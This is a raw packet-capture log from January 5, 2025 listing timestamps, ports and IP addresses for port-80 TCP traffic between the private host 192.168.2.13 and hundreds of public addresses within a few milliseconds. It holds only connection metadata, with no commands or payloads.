Jan 5, 2025 14:27:00.698062897 CET	80	58962	153.152.78.14	192.168.2.13
Jan 5, 2025 14:27:00.698065042 CET	56716	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:27:00.698070049 CET	55712	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:27:00.698070049 CET	45124	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:27:00.698072910 CET	80	43420	61.226.178.38	192.168.2.13
Jan 5, 2025 14:27:00.698081970 CET	33954	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:27:00.698085070 CET	38596	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:27:00.698085070 CET	47116	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:27:00.698086023 CET	58962	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:27:00.698097944 CET	80	52142	165.4.191.158	192.168.2.13
Jan 5, 2025 14:27:00.698101044 CET	51812	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:27:00.698107958 CET	80	47452	84.142.197.17	192.168.2.13
Jan 5, 2025 14:27:00.698108912 CET	39078	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:27:00.698108912 CET	43420	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:27:00.698112965 CET	56046	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:27:00.698117971 CET	80	48446	94.138.141.185	192.168.2.13
Jan 5, 2025 14:27:00.698121071 CET	60272	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:27:00.698124886 CET	39278	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:27:00.698127985 CET	52496	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:27:00.698127985 CET	47826	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:27:00.698128939 CET	52142	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:27:00.698129892 CET	80	42662	90.250.128.19	192.168.2.13
Jan 5, 2025 14:27:00.698141098 CET	80	36342	199.149.8.144	192.168.2.13
Jan 5, 2025 14:27:00.698143959 CET	47452	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:27:00.698149920 CET	80	48512	172.114.95.204	192.168.2.13
Jan 5, 2025 14:27:00.698159933 CET	80	38884	160.12.31.23	192.168.2.13
Jan 5, 2025 14:27:00.698162079 CET	42832	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:27:00.698163033 CET	47376	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:27:00.698163033 CET	50788	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:27:00.698168993 CET	80	52534	182.58.107.213	192.168.2.13
Jan 5, 2025 14:27:00.698169947 CET	48446	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:27:00.698172092 CET	36342	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:27:00.698179007 CET	80	57752	160.232.8.64	192.168.2.13
Jan 5, 2025 14:27:00.698183060 CET	42662	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:27:00.698188066 CET	80	45914	139.30.30.163	192.168.2.13
Jan 5, 2025 14:27:00.698193073 CET	48512	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:27:00.698193073 CET	38884	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:27:00.698200941 CET	80	57354	186.181.40.84	192.168.2.13
Jan 5, 2025 14:27:00.698206902 CET	57752	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:27:00.698210001 CET	36504	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:27:00.698210001 CET	80	43436	110.169.6.176	192.168.2.13
Jan 5, 2025 14:27:00.698210001 CET	38734	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:27:00.698220015 CET	80	51616	218.135.140.108	192.168.2.13
Jan 5, 2025 14:27:00.698229074 CET	80	48456	200.63.240.141	192.168.2.13
Jan 5, 2025 14:27:00.698235035 CET	58958	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:27:00.698237896 CET	80	46204	37.168.163.42	192.168.2.13
Jan 5, 2025 14:27:00.698240042 CET	46188	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:27:00.698240995 CET	52534	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:27:00.698240042 CET	57354	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:27:00.698241949 CET	44024	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:27:00.698241949 CET	45914	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:27:00.698241949 CET	43436	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:27:00.698249102 CET	80	57190	90.185.103.33	192.168.2.13
Jan 5, 2025 14:27:00.698257923 CET	80	47004	44.162.94.163	192.168.2.13
Jan 5, 2025 14:27:00.698261023 CET	51616	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:27:00.698267937 CET	48456	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:27:00.698267937 CET	80	52912	40.133.17.244	192.168.2.13
Jan 5, 2025 14:27:00.698271036 CET	56090	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:27:00.698276997 CET	46204	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:27:00.698276997 CET	57190	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:27:00.698276997 CET	60540	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:27:00.698278904 CET	80	45266	169.194.176.114	192.168.2.13
Jan 5, 2025 14:27:00.698295116 CET	80	60006	14.81.236.190	192.168.2.13
Jan 5, 2025 14:27:00.698296070 CET	40428	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:27:00.698296070 CET	52912	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:27:00.698298931 CET	41200	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:27:00.698302984 CET	47004	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:27:00.698304892 CET	80	32772	187.178.160.113	192.168.2.13
Jan 5, 2025 14:27:00.698313951 CET	80	38922	198.38.240.51	192.168.2.13
Jan 5, 2025 14:27:00.698314905 CET	45266	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:27:00.698323965 CET	80	41922	64.50.196.133	192.168.2.13
Jan 5, 2025 14:27:00.698327065 CET	60006	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:27:00.698327065 CET	43438	80	192.168.2.13	5.162.169.172
Jan 5, 2025 14:27:00.698328972 CET	80	57678	46.224.56.104	192.168.2.13
Jan 5, 2025 14:27:00.698333025 CET	80	55178	132.108.249.151	192.168.2.13
Jan 5, 2025 14:27:00.698338032 CET	80	55566	54.151.72.99	192.168.2.13
Jan 5, 2025 14:27:00.698342085 CET	80	39570	128.250.180.34	192.168.2.13
Jan 5, 2025 14:27:00.698345900 CET	57092	80	192.168.2.13	170.18.12.17
Jan 5, 2025 14:27:00.698352098 CET	50226	80	192.168.2.13	18.243.227.250
Jan 5, 2025 14:27:00.698352098 CET	80	52008	32.164.191.231	192.168.2.13
Jan 5, 2025 14:27:00.698358059 CET	80	33286	97.124.195.81	192.168.2.13
Jan 5, 2025 14:27:00.698367119 CET	80	35328	121.155.195.73	192.168.2.13
Jan 5, 2025 14:27:00.698373079 CET	55566	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:27:00.698373079 CET	38922	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:27:00.698373079 CET	41922	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:27:00.698375940 CET	80	60132	49.185.194.134	192.168.2.13
Jan 5, 2025 14:27:00.698381901 CET	57678	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:27:00.698385000 CET	80	40794	184.39.176.49	192.168.2.13
Jan 5, 2025 14:27:00.698385954 CET	52008	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:27:00.698390007 CET	33286	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:27:00.698398113 CET	35328	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:27:00.698405981 CET	32772	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:27:00.698414087 CET	39570	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:27:00.698424101 CET	55178	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:27:00.698435068 CET	60132	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:27:00.698436975 CET	40794	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:27:00.698436975 CET	51486	80	192.168.2.13	118.161.4.217
Jan 5, 2025 14:27:00.698542118 CET	41266	80	192.168.2.13	210.22.31.139
Jan 5, 2025 14:27:00.698543072 CET	40794	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:27:00.698549032 CET	55566	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:27:00.698565006 CET	55178	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:27:00.698565006 CET	57678	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:27:00.698565960 CET	60132	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:27:00.698569059 CET	52008	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:27:00.698569059 CET	32772	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:27:00.698585987 CET	35328	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:27:00.698585987 CET	41922	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:27:00.698591948 CET	33286	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:27:00.698595047 CET	39570	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:27:00.698606014 CET	52912	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:27:00.698606014 CET	47004	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:27:00.698620081 CET	45266	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:27:00.698621988 CET	38922	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:27:00.698625088 CET	57190	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:27:00.698626995 CET	60006	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:27:00.698636055 CET	43436	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:27:00.698646069 CET	57752	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:27:00.698652029 CET	38884	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:27:00.698652029 CET	46204	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:27:00.698652983 CET	52142	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:27:00.698659897 CET	42662	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:27:00.698678017 CET	58962	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:27:00.698679924 CET	51616	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:27:00.698685884 CET	57354	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:27:00.698693991 CET	48456	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:27:00.698695898 CET	43420	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:27:00.698698044 CET	52534	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:27:00.698698044 CET	47116	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:27:00.698699951 CET	48512	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:27:00.698708057 CET	33954	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:27:00.698712111 CET	36342	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:27:00.698713064 CET	45914	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:27:00.698717117 CET	48446	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:27:00.698724985 CET	47452	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:27:00.698730946 CET	55712	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:27:00.701936960 CET	80	56958	194.186.235.38	192.168.2.13
Jan 5, 2025 14:27:00.701952934 CET	80	56958	37.84.148.81	192.168.2.13
Jan 5, 2025 14:27:00.701962948 CET	80	56958	193.199.208.210	192.168.2.13
Jan 5, 2025 14:27:00.701972008 CET	80	56958	69.227.66.195	192.168.2.13
Jan 5, 2025 14:27:00.701978922 CET	56958	80	192.168.2.13	37.84.148.81
Jan 5, 2025 14:27:00.701981068 CET	80	56958	193.61.207.227	192.168.2.13
Jan 5, 2025 14:27:00.701986074 CET	56958	80	192.168.2.13	194.186.235.38
Jan 5, 2025 14:27:00.701991081 CET	80	56958	216.188.82.130	192.168.2.13
Jan 5, 2025 14:27:00.701992989 CET	56958	80	192.168.2.13	193.199.208.210
Jan 5, 2025 14:27:00.702001095 CET	80	56958	1.18.238.50	192.168.2.13
Jan 5, 2025 14:27:00.702007055 CET	56958	80	192.168.2.13	69.227.66.195
Jan 5, 2025 14:27:00.702008963 CET	80	56958	212.35.206.200	192.168.2.13
Jan 5, 2025 14:27:00.702018023 CET	56958	80	192.168.2.13	216.188.82.130
Jan 5, 2025 14:27:00.702027082 CET	80	56958	190.126.81.87	192.168.2.13
Jan 5, 2025 14:27:00.702033043 CET	56958	80	192.168.2.13	193.61.207.227
Jan 5, 2025 14:27:00.702035904 CET	56958	80	192.168.2.13	1.18.238.50
Jan 5, 2025 14:27:00.702038050 CET	80	56958	63.178.187.167	192.168.2.13
Jan 5, 2025 14:27:00.702047110 CET	56958	80	192.168.2.13	212.35.206.200
Jan 5, 2025 14:27:00.702048063 CET	80	56958	150.17.21.226	192.168.2.13
Jan 5, 2025 14:27:00.702056885 CET	80	56958	171.18.228.78	192.168.2.13
Jan 5, 2025 14:27:00.702064037 CET	56958	80	192.168.2.13	190.126.81.87
Jan 5, 2025 14:27:00.702064991 CET	80	56958	196.167.253.176	192.168.2.13
Jan 5, 2025 14:27:00.702064991 CET	56958	80	192.168.2.13	63.178.187.167
Jan 5, 2025 14:27:00.702074051 CET	56958	80	192.168.2.13	150.17.21.226
Jan 5, 2025 14:27:00.702075005 CET	80	56958	207.158.10.136	192.168.2.13
Jan 5, 2025 14:27:00.702084064 CET	80	56958	99.12.94.233	192.168.2.13
Jan 5, 2025 14:27:00.702088118 CET	56958	80	192.168.2.13	171.18.228.78
Jan 5, 2025 14:27:00.702095032 CET	80	56958	120.81.131.31	192.168.2.13
Jan 5, 2025 14:27:00.702104092 CET	80	56958	216.76.229.53	192.168.2.13
Jan 5, 2025 14:27:00.702105045 CET	56958	80	192.168.2.13	196.167.253.176
Jan 5, 2025 14:27:00.702105045 CET	56958	80	192.168.2.13	207.158.10.136
Jan 5, 2025 14:27:00.702111006 CET	56958	80	192.168.2.13	99.12.94.233
Jan 5, 2025 14:27:00.702112913 CET	80	56958	120.86.82.233	192.168.2.13
Jan 5, 2025 14:27:00.702124119 CET	80	56958	117.244.162.92	192.168.2.13
Jan 5, 2025 14:27:00.702125072 CET	56958	80	192.168.2.13	216.76.229.53
Jan 5, 2025 14:27:00.702131987 CET	56958	80	192.168.2.13	120.81.131.31
Jan 5, 2025 14:27:00.702133894 CET	80	56958	83.21.52.199	192.168.2.13
Jan 5, 2025 14:27:00.702142954 CET	80	56958	108.232.228.222	192.168.2.13
Jan 5, 2025 14:27:00.702151060 CET	80	56958	31.154.66.248	192.168.2.13
Jan 5, 2025 14:27:00.702158928 CET	80	56958	152.114.107.33	192.168.2.13
Jan 5, 2025 14:27:00.702159882 CET	56958	80	192.168.2.13	117.244.162.92
Jan 5, 2025 14:27:00.702159882 CET	56958	80	192.168.2.13	83.21.52.199
Jan 5, 2025 14:27:00.702168941 CET	80	56958	208.136.50.240	192.168.2.13
Jan 5, 2025 14:27:00.702169895 CET	56958	80	192.168.2.13	108.232.228.222
Jan 5, 2025 14:27:00.702169895 CET	56958	80	192.168.2.13	31.154.66.248
Jan 5, 2025 14:27:00.702178955 CET	80	56958	9.101.51.160	192.168.2.13
Jan 5, 2025 14:27:00.702184916 CET	56958	80	192.168.2.13	120.86.82.233
Jan 5, 2025 14:27:00.702187061 CET	80	56958	140.108.117.109	192.168.2.13
Jan 5, 2025 14:27:00.702189922 CET	56958	80	192.168.2.13	152.114.107.33
Jan 5, 2025 14:27:00.702195883 CET	80	56958	221.16.87.138	192.168.2.13
Jan 5, 2025 14:27:00.702195883 CET	56958	80	192.168.2.13	208.136.50.240
Jan 5, 2025 14:27:00.702207088 CET	80	57778	188.181.2.153	192.168.2.13
Jan 5, 2025 14:27:00.702213049 CET	56958	80	192.168.2.13	9.101.51.160
Jan 5, 2025 14:27:00.702213049 CET	56958	80	192.168.2.13	140.108.117.109
Jan 5, 2025 14:27:00.702215910 CET	80	56958	80.89.19.132	192.168.2.13
Jan 5, 2025 14:27:00.702224016 CET	56958	80	192.168.2.13	221.16.87.138
Jan 5, 2025 14:27:00.702225924 CET	80	42232	105.224.183.34	192.168.2.13
Jan 5, 2025 14:27:00.702236891 CET	80	47354	49.191.8.68	192.168.2.13
Jan 5, 2025 14:27:00.702238083 CET	57778	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:27:00.702258110 CET	80	42502	130.237.101.84	192.168.2.13
Jan 5, 2025 14:27:00.702259064 CET	42232	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:27:00.702267885 CET	47354	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:27:00.702275991 CET	56958	80	192.168.2.13	80.89.19.132
Jan 5, 2025 14:27:00.702292919 CET	42502	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:27:00.702522993 CET	80	42908	121.29.46.224	192.168.2.13
Jan 5, 2025 14:27:00.702549934 CET	42908	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:27:00.702851057 CET	80	57214	143.179.29.18	192.168.2.13
Jan 5, 2025 14:27:00.702884912 CET	57214	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:27:00.703701973 CET	80	58958	36.162.123.56	192.168.2.13
Jan 5, 2025 14:27:00.703749895 CET	58958	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:27:00.703881979 CET	80	46188	51.92.13.108	192.168.2.13
Jan 5, 2025 14:27:00.703891993 CET	80	42832	151.106.177.94	192.168.2.13
Jan 5, 2025 14:27:00.703910112 CET	46188	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:27:00.703910112 CET	42832	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:27:00.704003096 CET	80	44024	35.41.199.92	192.168.2.13
Jan 5, 2025 14:27:00.704011917 CET	80	56090	44.47.134.77	192.168.2.13
Jan 5, 2025 14:27:00.704020023 CET	80	60540	41.87.48.244	192.168.2.13
Jan 5, 2025 14:27:00.704029083 CET	80	40428	123.140.128.249	192.168.2.13
Jan 5, 2025 14:27:00.704036951 CET	80	41200	209.47.23.74	192.168.2.13
Jan 5, 2025 14:27:00.704041004 CET	44024	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:27:00.704046011 CET	80	47376	154.45.118.128	192.168.2.13
Jan 5, 2025 14:27:00.704056025 CET	60540	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:27:00.704056025 CET	56090	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:27:00.704065084 CET	40428	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:27:00.704071045 CET	41200	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:27:00.704077959 CET	47376	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:27:00.704174995 CET	80	38734	5.197.123.230	192.168.2.13
Jan 5, 2025 14:27:00.704220057 CET	38734	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:27:00.704340935 CET	80	36504	57.62.244.9	192.168.2.13
Jan 5, 2025 14:27:00.704372883 CET	36504	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:27:00.704462051 CET	80	39278	177.16.157.212	192.168.2.13
Jan 5, 2025 14:27:00.704490900 CET	39278	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:27:00.704646111 CET	80	60272	94.35.93.233	192.168.2.13
Jan 5, 2025 14:27:00.704680920 CET	60272	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:27:00.704951048 CET	80	55712	72.56.147.96	192.168.2.13
Jan 5, 2025 14:27:00.704961061 CET	80	47452	84.142.197.17	192.168.2.13
Jan 5, 2025 14:27:00.704969883 CET	80	48446	94.138.141.185	192.168.2.13
Jan 5, 2025 14:27:00.704977989 CET	80	45914	139.30.30.163	192.168.2.13
Jan 5, 2025 14:27:00.704986095 CET	80	36342	199.149.8.144	192.168.2.13
Jan 5, 2025 14:27:00.704993963 CET	80	33954	49.173.231.143	192.168.2.13
Jan 5, 2025 14:27:00.705002069 CET	80	47116	192.247.19.115	192.168.2.13
Jan 5, 2025 14:27:00.705010891 CET	80	50788	64.101.190.89	192.168.2.13
Jan 5, 2025 14:27:00.705029011 CET	80	52534	182.58.107.213	192.168.2.13
Jan 5, 2025 14:27:00.705038071 CET	80	48512	172.114.95.204	192.168.2.13
Jan 5, 2025 14:27:00.705039978 CET	50788	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:27:00.705046892 CET	80	43420	61.226.178.38	192.168.2.13
Jan 5, 2025 14:27:00.705055952 CET	80	48456	200.63.240.141	192.168.2.13
Jan 5, 2025 14:27:00.705064058 CET	80	57354	186.181.40.84	192.168.2.13
Jan 5, 2025 14:27:00.705071926 CET	80	51616	218.135.140.108	192.168.2.13
Jan 5, 2025 14:27:00.705080032 CET	80	58962	153.152.78.14	192.168.2.13
Jan 5, 2025 14:27:00.705086946 CET	80	42662	90.250.128.19	192.168.2.13
Jan 5, 2025 14:27:00.705095053 CET	80	46204	37.168.163.42	192.168.2.13
Jan 5, 2025 14:27:00.705102921 CET	80	52142	165.4.191.158	192.168.2.13
Jan 5, 2025 14:27:00.705111027 CET	80	38884	160.12.31.23	192.168.2.13
Jan 5, 2025 14:27:00.705121040 CET	80	57752	160.232.8.64	192.168.2.13
Jan 5, 2025 14:27:00.705128908 CET	80	43436	110.169.6.176	192.168.2.13
Jan 5, 2025 14:27:00.705136061 CET	80	60006	14.81.236.190	192.168.2.13
Jan 5, 2025 14:27:00.705143929 CET	80	57190	90.185.103.33	192.168.2.13
Jan 5, 2025 14:27:00.705152988 CET	80	38922	198.38.240.51	192.168.2.13
Jan 5, 2025 14:27:00.705161095 CET	80	45266	169.194.176.114	192.168.2.13
Jan 5, 2025 14:27:00.705168962 CET	80	47004	44.162.94.163	192.168.2.13
Jan 5, 2025 14:27:00.705177069 CET	80	52912	40.133.17.244	192.168.2.13
Jan 5, 2025 14:27:00.705184937 CET	80	41922	64.50.196.133	192.168.2.13
Jan 5, 2025 14:27:00.705194950 CET	80	39570	128.250.180.34	192.168.2.13
Jan 5, 2025 14:27:00.705204964 CET	80	35328	121.155.195.73	192.168.2.13
Jan 5, 2025 14:27:00.705214024 CET	80	33286	97.124.195.81	192.168.2.13
Jan 5, 2025 14:27:00.705220938 CET	80	32772	187.178.160.113	192.168.2.13
Jan 5, 2025 14:27:00.705229044 CET	80	52008	32.164.191.231	192.168.2.13
Jan 5, 2025 14:27:00.705236912 CET	80	57678	46.224.56.104	192.168.2.13
Jan 5, 2025 14:27:00.705245018 CET	80	55178	132.108.249.151	192.168.2.13
Jan 5, 2025 14:27:00.705252886 CET	80	60132	49.185.194.134	192.168.2.13
Jan 5, 2025 14:27:00.705260992 CET	80	55566	54.151.72.99	192.168.2.13
Jan 5, 2025 14:27:00.705267906 CET	80	40794	184.39.176.49	192.168.2.13
Jan 5, 2025 14:27:00.705276966 CET	80	47826	99.44.37.44	192.168.2.13
Jan 5, 2025 14:27:00.705285072 CET	80	52496	59.172.117.26	192.168.2.13
Jan 5, 2025 14:27:00.705291986 CET	80	56046	90.167.60.3	192.168.2.13
Jan 5, 2025 14:27:00.705300093 CET	80	39078	126.184.49.221	192.168.2.13
Jan 5, 2025 14:27:00.705307961 CET	80	51812	99.107.143.62	192.168.2.13
Jan 5, 2025 14:27:00.705317020 CET	80	38596	171.208.31.151	192.168.2.13
Jan 5, 2025 14:27:00.705324888 CET	80	45124	105.173.184.192	192.168.2.13
Jan 5, 2025 14:27:00.705333948 CET	80	56716	99.165.239.189	192.168.2.13
Jan 5, 2025 14:27:00.705342054 CET	80	54670	88.28.204.158	192.168.2.13
Jan 5, 2025 14:27:00.705349922 CET	80	42148	20.87.241.88	192.168.2.13
Jan 5, 2025 14:27:00.705358028 CET	80	56046	90.167.60.3	192.168.2.13
Jan 5, 2025 14:27:00.705367088 CET	80	56716	99.165.239.189	192.168.2.13
Jan 5, 2025 14:27:00.705384016 CET	80	39078	126.184.49.221	192.168.2.13
Jan 5, 2025 14:27:00.705391884 CET	80	51812	99.107.143.62	192.168.2.13
Jan 5, 2025 14:27:00.705393076 CET	56046	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:27:00.705395937 CET	56716	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:27:00.705415010 CET	39078	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:27:00.705415964 CET	51812	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:27:00.705440044 CET	80	54670	88.28.204.158	192.168.2.13
Jan 5, 2025 14:27:00.705461979 CET	54670	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:27:00.705596924 CET	80	42148	20.87.241.88	192.168.2.13
Jan 5, 2025 14:27:00.705626965 CET	42148	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:27:00.705693960 CET	80	47826	99.44.37.44	192.168.2.13
Jan 5, 2025 14:27:00.705738068 CET	47826	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:27:00.705826044 CET	80	52496	59.172.117.26	192.168.2.13
Jan 5, 2025 14:27:00.705864906 CET	52496	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:27:00.705970049 CET	80	45124	105.173.184.192	192.168.2.13
Jan 5, 2025 14:27:00.706012011 CET	45124	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:27:00.706085920 CET	80	38596	171.208.31.151	192.168.2.13
Jan 5, 2025 14:27:00.706167936 CET	38596	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:27:00.706244946 CET	80	55712	72.56.147.96	192.168.2.13
Jan 5, 2025 14:27:00.706330061 CET	55712	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:27:00.706413984 CET	80	33954	49.173.231.143	192.168.2.13
Jan 5, 2025 14:27:00.706443071 CET	33954	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:27:00.706542015 CET	80	58962	153.152.78.14	192.168.2.13
Jan 5, 2025 14:27:00.706574917 CET	58962	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:27:00.706718922 CET	80	47116	192.247.19.115	192.168.2.13
Jan 5, 2025 14:27:00.706768036 CET	47116	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:27:00.706846952 CET	80	43420	61.226.178.38	192.168.2.13
Jan 5, 2025 14:27:00.706881046 CET	43420	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:27:00.707050085 CET	80	52142	165.4.191.158	192.168.2.13
Jan 5, 2025 14:27:00.707084894 CET	52142	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:27:00.707164049 CET	80	47452	84.142.197.17	192.168.2.13
Jan 5, 2025 14:27:00.707195997 CET	47452	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:27:00.707350016 CET	80	48446	94.138.141.185	192.168.2.13
Jan 5, 2025 14:27:00.707437992 CET	48446	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:27:00.707453966 CET	80	36342	199.149.8.144	192.168.2.13
Jan 5, 2025 14:27:00.707489014 CET	36342	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:27:00.707566023 CET	80	42662	90.250.128.19	192.168.2.13
Jan 5, 2025 14:27:00.707617044 CET	42662	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:27:00.707746029 CET	80	48512	172.114.95.204	192.168.2.13
Jan 5, 2025 14:27:00.707796097 CET	48512	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:27:00.707879066 CET	80	38884	160.12.31.23	192.168.2.13
Jan 5, 2025 14:27:00.707933903 CET	38884	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:27:00.708009958 CET	80	57752	160.232.8.64	192.168.2.13
Jan 5, 2025 14:27:00.708050966 CET	57752	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:27:00.708121061 CET	80	52534	182.58.107.213	192.168.2.13
Jan 5, 2025 14:27:00.708157063 CET	52534	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:27:00.708268881 CET	80	57354	186.181.40.84	192.168.2.13
Jan 5, 2025 14:27:00.708303928 CET	57354	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:27:00.708477974 CET	80	43436	110.169.6.176	192.168.2.13
Jan 5, 2025 14:27:00.708512068 CET	43436	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:27:00.708583117 CET	80	45914	139.30.30.163	192.168.2.13
Jan 5, 2025 14:27:00.708615065 CET	45914	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:27:00.708801985 CET	80	51616	218.135.140.108	192.168.2.13
Jan 5, 2025 14:27:00.708837032 CET	51616	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:27:00.708995104 CET	80	48456	200.63.240.141	192.168.2.13
Jan 5, 2025 14:27:00.709024906 CET	48456	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:27:00.709147930 CET	80	46204	37.168.163.42	192.168.2.13
Jan 5, 2025 14:27:00.709209919 CET	46204	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:27:00.709300995 CET	80	57190	90.185.103.33	192.168.2.13
Jan 5, 2025 14:27:00.709350109 CET	57190	80	192.168.2.13	90.185.103.33
